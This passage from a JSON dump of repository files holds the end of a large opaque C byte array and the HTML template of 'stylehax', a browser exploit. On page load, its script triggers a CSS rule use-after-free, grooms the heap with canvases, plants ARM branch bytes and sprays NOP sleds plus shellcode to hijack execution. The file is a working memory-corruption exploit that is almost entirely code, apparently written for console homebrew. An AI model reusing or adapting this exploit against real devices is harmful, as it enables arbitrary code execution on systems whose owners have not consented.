0x0A, 0xAC, 0x7F, 0x3F, 0x23, 0xE2, 0xDF, 0x2A, 0x40, 0xA3, 0xBB,\n    0x1A, 0x23, 0x63, 0x7D, 0x12, 0x57, 0xBA, 0x43, 0x66, 0x1B, 0x9B, 0xF3,\n    0x0C, 0xF3, 0xEE, 0x78, 0xE9, 0x50, 0x24, 0x37, 0x76, 0x83, 0xA7, 0x2D,\n    0x69, 0x59, 0x6C, 0x02, 0x93, 0xE4, 0x03, 0x75, 0x09, 0x06, 0x1A, 0x07,\n    0x05, 0x4D, 0x46, 0x25, 0x23, 0xB2, 0x10, 0x04, 0x47, 0x2A, 0xF8, 0xB5,\n    0x13, 0x4C, 0xCF, 0x63, 0x6A, 0x06, 0xF1, 0x6E, 0x89, 0xA3, 0x22, 0x3C,\n    0xD1, 0x46, 0x02, 0x57, 0xCE, 0x9B, 0x48, 0xFD, 0xD3, 0x22, 0x8B, 0x86,\n    0x0D, 0x4B, 0xF3, 0x52, 0xA8, 0xB3, 0x2B, 0x04, 0xAE, 0x1B, 0xC9, 0x4B,\n    0x14, 0x0C, 0x89, 0xD5, 0xBC, 0x72, 0x0B, 0x4A, 0x6D, 0x02, 0xAF, 0x13,\n    0x80, 0x20, 0xF1, 0x32, 0x4D, 0x2E, 0x49, 0x27, 0x71, 0x65, 0x60, 0xFF,\n    0xF7, 0x54, 0xFD, 0xA0, 0x7F, 0x68, 0x40, 0x07, 0xC0, 0x0F, 0xF8, 0xFE,\n    0xCA, 0x74, 0xE8, 0x1C, 0x19, 0xE3, 0x2D, 0x08, 0x45, 0x21, 0x49, 0x2A,\n    0x0A, 0x48, 0x4F, 0xD9, 0x12, 0x3C, 0x9A, 0x45, 0x7D, 0x33, 0x9E, 0xE6,\n    0x4D, 0x87, 0xAD, 0x20, 0x41, 0x48, 0x30, 0xA4, 0x40, 0x52, 0x50, 0x29,\n    0x60, 0x1F, 0x26, 0x70, 0x29, 0x3A, 0x85, 0xF9, 0x3F, 0x06, 0x48, 0xE2,\n    0x0E, 0xFE, 0x01, 0x31, 0x98, 0x89, 0xFB, 0x71, 0x30, 0x06, 0x84, 0x6E,\n    0x2C, 0xA9, 0xCB, 0xF6, 0x90, 0xC5, 0xE5, 0x02, 0x2F, 0x19, 0x77, 0x77,\n    0xF4, 0x1A, 0xAB, 0x95, 0xBB, 0x8A, 0xC6, 0xBA, 0xE3, 0x94, 0x2E, 0x53,\n    0x07, 0x99, 0x49, 0x7D, 0xD3, 0xA8, 0x2E, 0x09, 0x68, 0x58, 0xEE, 0xFC,\n    0x68, 0x51, 0xBA, 0x57, 0x6C, 0xFE, 0xB9, 0x91, 0x08, 0x40, 0xC3, 0x1D,\n    0x66, 0x6B, 0x0A, 0xB4, 0x58, 0xED, 0xBC, 0x61, 0xC0, 0x8F, 0xE2, 0xFF,\n    0x07, 0x9C, 0xE8, 0xFF, 0xD2, 0x30, 0x0F, 0x02, 0x47, 0xC5, 0x1F, 0x03,\n    0x3C, 0x50, 0x2F, 0xB4, 0x70, 0x3F, 0x05, 0x9F, 0x10, 0x4F, 0x2F, 0x74,\n    0x5F, 0x52, 0x13, 0x6F, 0x69, 0x14, 0x7F, 0x34, 0x16, 0x8F, 0x9A, 0x17,\n    0x9F, 0x4F, 0x68, 0xAF, 0x09, 0xFA, 0xC3, 0xB0, 0x12, 0xA4, 0x15, 0x72,\n    0x6B, 0x11, 0x0F, 0x19, 0xEE, 0x2F, 0x20, 0xA4, 0x4C, 0xD8, 0xD1, 0x09,\n    0xB3, 0x9B, 0x2D, 0x60, 0xDD, 0x67, 0x90, 0x04, 0xF9, 0x07, 0x4C, 0xE5,\n    0x8B, 0xB4, 0x07, 0x2D, 0xC0, 0x72, 0xD3, 0xEB, 0x00, 0xD2, 0xEA, 0x05,\n    0xEC, 0xDB, 0xE2, 0xDF, 0xF0, 0x21, 0x3F, 0xF5, 0xD0, 0x95, 0xDA, 0x11,\n    0x8E, 0x1C, 0x6B, 0x58, 0xA6, 0x46, 0xE1, 0xE2, 0x0F, 0x01, 0x3B, 0xEE,\n    0xE5, 0xD9, 0x20, 0xD3, 0x33, 0x42, 0xD3, 0x2E, 0x20, 0xB9, 0x8A, 0xE2,\n    0xB5, 0x26, 0x81, 0x7B, 0x1A, 0x74, 0x58, 0xC8, 0x34, 0x4D, 0xFE, 0x3B,\n    0x18, 0xF0, 0xD3, 0xCD, 0x42, 0x79, 0x48, 0x5C, 0x12, 0xA8, 0x8A, 0x15,\n    0x11, 0x8B, 0x4C, 0x05, 0x33, 0x73, 0x04, 0x49, 0x2B, 0xA4, 0x35, 0xED,\n    0x08, 0x49, 0x1B, 0xEA, 0x1D, 0x3D, 0x42, 0x17, 0xF0, 0x9D, 0x02, 0x0A,\n    0x5A, 0x68, 0x54, 0x03, 0xA1, 0xDF, 0xC5, 0xDC, 0x0C, 0xFF, 0x03, 0x4C,\n    0x44, 0x49, 0x17, 0x08, 0x49, 0x38, 0x00, 0x14, 0xAB, 0xB4, 0xF3, 0x11,\n    0x70, 0xED, 0x61, 0x81, 0xC3, 0xD5, 0x88, 0xDB, 0x9E, 0x3A, 0x4E, 0x33,\n    0x22, 0x0F, 0x07, 0x23, 0x03, 0xC1, 0xC0, 0x09, 0x07, 0x64, 0x39, 0xC1,\n    0xE0, 0x0B, 0x83, 0x03, 0x81, 0x32, 0xF0, 0x68, 0x00, 0x5C, 0x1C, 0x83,\n    0x30, 0x0F, 0x83, 0x81, 0x1B, 0x83, 0x8D, 0x41, 0xED, 0x03, 0x47, 0x50,\n    0x93, 0xF4, 0x00, 0x7F, 0x44, 0x6C, 0x53, 0x2D, 0x41, 0x5A, 0x8D, 0xDA,\n    0x84, 0x99, 0xE1, 0xBB, 0x76, 0x40, 0x20, 0xA3, 0x78, 0x82, 0xA1, 0xBF,\n    0x98, 0x23, 0x32, 0x7C, 0x1A, 0x02, 0x01, 0xD6, 0x63, 0x48, 0x12, 0x03,\n    0x7E, 0x98, 0x13, 0xEC, 0x7C, 0x00, 0x30, 0x1F, 0x8E, 0x31, 0x3E, 0x00,\n    0x19, 0xE0, 0x13, 0x86, 0x3F, 0x27, 0xF8, 0x03, 0xC9, 0xC0, 0xBC, 0xF2,\n    0x6C, 0x00, 0x70, 0x70, 0x43, 0xED, 0x1D, 0xC0, 0x5A, 0xE0, 0xA8, 0x61,\n    0x39, 0xED, 0xBD, 0x51, 0xE2, 0x27, 0x3F, 0xE8, 0xB0, 0x49, 0xE8, 0x30,\n    0xAE, 0x0B, 0x31, 0x98, 0x26, 0x7C, 0x9A, 0x9D, 0x8C, 0xE1, 0x28, 0xEB,\n    0x50, 0x0A, 0x0E, 0xCF, 0xB2, 0x5D, 0x81, 0x11, 0xBC, 0x8C, 0x58, 0x90,\n    0x36, 0x59, 0x13, 0xD3, 0xD2, 0x6D, 0xD8, 0x0B, 0x12, 0x52, 0x22, 0x75,\n    0xDD, 0x83, 0xF5, 0x9F, 0xAC, 0x70, 0xB3, 0x81, 0x10, 0x2D, 0x82, 0x27,\n    0x59, 0x31, 0xFA, 0x9E, 0x46, 0x3A, 0x73, 0x98, 0xE3, 0xE5, 0xA8, 0x3D,\n    0xA8, 0x02, 0xEA, 0x32, 0xEB, 0xF4, 0x30, 0x7F, 0x46, 0xC6, 0x05, 0x96,\n    0xA1, 0xAD, 0x46, 0xED, 0x46, 0x5D, 0x66, 0xE1, 0xA1, 0x31, 0x43, 0x20,\n    0xA2, 0x01, 0x80, 0xFF, 0x0D, 0xCA, 0x53, 0x7B, 0x22, 0x05, 0xB0, 0xE5,\n    0xCC, 0x11, 0xEF, 0xC7, 0xBC, 0x1A, 0xCE, 0x73, 0x0D, 0x20, 0x3C, 0x1D,\n    0x67, 0x01, 0x91, 0x99, 0xCC, 0x0F, 0xA7, 0xD8, 0x2E, 0x97, 0x80, 0x03,\n    0x7B, 0x4C, 0x3B, 0x3E, 0xDA, 0x18, 0x3C, 0xA6, 0xE4, 0x23, 0x91, 0xD9,\n    0xBA, 0x33, 0x01, 0x0C, 0xFA, 0x14, 0x8E, 0x08, 0x29, 0xD4, 0x10, 0x75,\n    0x09, 0x12, 0x7F, 0x21, 0x72, 0xF2, 0x22, 0x04, 0x7A, 0x4C, 0x03, 0x52,\n    0xA1, 0x25, 0x20, 0x82, 0x90, 0xFE, 0x5C, 0x4F, 0x33, 0xEB, 0xED, 0x60,\n    0xA1, 0x42, 0xF9, 0x30, 0x1F, 0xE0, 0x62, 0x46, 0xE1, 0x69, 0x50, 0x29,\n    0xEC, 0xE0, 0xC3, 0x93, 0x02, 0x01, 0xA0, 0xB3, 0x32, 0xFE, 0x27, 0x6D,\n    0x51, 0xE3, 0xF7, 0x8F, 0xE4, 0x0A, 0xD6, 0x96, 0xE9, 0xB1, 0x66, 0x92,\n    0xEB, 0x06, 0x40, 0xBD, 0xCF, 0xE8, 0x92, 0xE3, 0x4C, 0xBF, 0x10, 0x41,\n    0xE0, 0x1E, 0x7E, 0x8D, 0x70, 0x8E, 0xAB, 0xF0, 0xB5, 0x0F, 0x2A, 0x39,\n    0x1F, 0xD9, 0x0D, 0xF2, 0x05, 0x43, 0x0C, 0xF1, 0x03, 0x6A, 0xAD, 0x07,\n    0x37, 0xD1, 0x15, 0x00, 0xFF, 0x3D, 0x2D, 0x09, 0x2E, 0xAF, 0x01, 0x18,\n    0xA5, 0x36, 0x9D, 0x27, 0x1F, 0xE5, 0x67, 0xCB, 0x5F, 0x97, 0xA7, 0x2E,\n    0x9F, 0x5C, 0xE7, 0x68, 0xDF, 0x60, 0xBE, 0x33, 0x10, 0x34, 0xB3, 0x2F,\n    0x42, 0xCC, 0x0F, 0x24, 0x66, 0x35, 0x2D, 0x01, 0x97, 0x49, 0x14, 0xE5,\n    0x40, 0x45, 0x19, 0xF5, 0x2C, 0x1F, 0xD9, 0xBC, 0x74, 0xCE, 0x58, 0xEE,\n    0x50, 0xF8, 0x33, 0xE6, 0xDB, 0x6C, 0x2E, 0xF9, 0xD8, 0x03, 0xBF, 0x04,\n    0x3C, 0x77, 0x08, 0x97, 0x34, 0xA4, 0x76, 0x1A, 0x40, 0x2D, 0xD7, 0x09,\n    0x19, 0x8B, 0xF5, 0x37, 0xD0, 0x57, 0x23, 0xCC, 0x5C, 0xEC, 0x54, 0x01,\n    0x33, 0x7F, 0x93, 0x42, 0xFA, 0xF9, 0xBB, 0x02, 0x45, 0xBC, 0x08, 0xFF,\n    0x79, 0x1A, 0x2A, 0xF3, 0xD1, 0xFE, 0x05, 0x4E, 0xF0, 0x5C, 0x22, 0x00,\n    0xF8, 0xE7, 0xBF, 0xC8, 0x11, 0x57, 0x90, 0x3D, 0xF9, 0x7A, 0x03, 0x83,\n    0x1B, 0xCC, 0xA1, 0xFE, 0xEE, 0x82, 0x9F, 0xE5, 0x1C, 0xDF, 0x2F, 0xE1,\n    0x15, 0x37, 0xC1, 0x78, 0x47, 0xC0, 0x46, 0x8F, 0x7B, 0xF2, 0xEA, 0x90,\n    0x80, 0x42, 0xD0, 0x4F, 0x54, 0x2E, 0x4E, 0x44, 0x53, 0xBF, 0xA8, 0xFF,\n    0xD8, 0x17, 0x27, 0x00, 0x06, 0xF3, 0x11, 0x24, 0x47, 0xB9, 0x9A, 0x8B,\n    0x33, 0x10, 0x20, 0x0D, 0x65, 0xB9, 0x98, 0xB1, 0x22, 0x10, 0x20, 0x01,\n    0x01, 0x29, 0x10, 0x22, 0x02, 0x00, 0x00, 0x04, 0xD4, 0x11, 0x00, 0x00};\n"
  },
  {
    "path": "template.html",
    "content": "<!-- stylehax by nathan 2023 -->\n<!-- https://github.com/nathanfarlow/stylehax -->\n\n<html>\n\n<head>\n   <title>stylehax</title>\n   <style id=\"style1\">\n      @media all {\n         .test {\n            color: green;\n         }\n      }\n   </style>\n   <script>\n\n      var shellcode = \"{REPLACE_SHELLCODE_HERE}\";\n\n      function exploit() {\n         var canvases = [];\n         var N = 0x480;\n         var obj_size = 0x50;\n\n         // create a bunch of canvases for heap magic\n         for (var i = 0; i <= N; i++) {\n            var a = document.createElement(\"canvas\");\n            a.width = obj_size / 4;\n            a.height = 1;\n            canvases[i] = a;\n            document.body.appendChild(a);\n         }\n\n         var styleSheet = document.getElementById('style1').sheet;\n         var mediaRule = styleSheet.cssRules[0];\n\n         // heap magic\n         var arr = new Array();\n         for (var i = 0; i <= N; i++) {\n            c = canvases[i].getContext(\"2d\");\n            c.fillStyle = \"rgb(0, 0, 0)\";\n            c.fillRect(0, 0, obj_size / 4, 1);\n            arr[i] = c.getImageData(0, 0, obj_size / 4, 1).data[0];\n         }\n\n         try {\n            // fails with syntax error and throws exception, \n            // but still adds some corrupted object to mediaRule.cssRules\n            mediaRule.insertRule(\"@media screen { p { color: green; } };\", mediaRule.cssRules.length);\n         } catch (e) {\n\n         }\n\n         // empty mediaRule.cssRules\n         mediaRule.deleteRule(0);\n         mediaRule.deleteRule(0);\n\n         // try to reclaim memory of freed object with jump shellcode\n         // (more heap magic)\n         var arr = new Array();\n         for (var i = 0; i <= N; i++) {\n            canvases[i].width = canvases[i].width;\n            c = canvases[i].getContext(\"2d\");\n            // 0x2bc5120 -- address of nop sled\n            c.fillStyle = \"rgba(32, 81, 188, 0.0079)\";\n            c.fillRect(0, 0, 1, 1);\n            // FE FF 13 EA -- b #0x500000 -- bootstrap: jumps to nop sled\n            c.fillStyle = \"rgba(254, 255, 19, 0.918)\"\n            c.fillRect(1, 0, obj_size / 4 - 1, 1);\n            arr[i] = c.getImageData(0, 0, obj_size / 4, 1).data[0];\n         }\n\n         // 0x2bc5120 is effectively a nop, and is also the address of our nop sled\n         var nops = \"\\u2051\\ubc02\";\n         while (nops.length < 0x10000) {\n            nops += nops;\n         }\n\n         // spray nopsleds and shellcode\n         var a = new Array();\n         for (var i = 0; i < 0x4; i++) {\n            a[i] = nops + shellcode;\n         }\n\n         // more heap magic...\n         for (var i = 0; i < 0x100; i++) {\n            a[4 + i] = \"\" + i;\n         }\n\n         // accessing this property causes jump to bootstrap\n         mediaRule.cssRules.length;\n         alert(\"exploit failed. reboot and try again\")\n      }\n   </script>\n</head>\n\n<body onload=\"exploit()\">\n   <div style=\"width: 250px\">\n      <p>stylehax by nathan</p>\n      <p>exploit in progress... if you've waited > 30 seconds, reboot and try again!</p>\n   </div>\n</body>\n\n</html>"
  }
]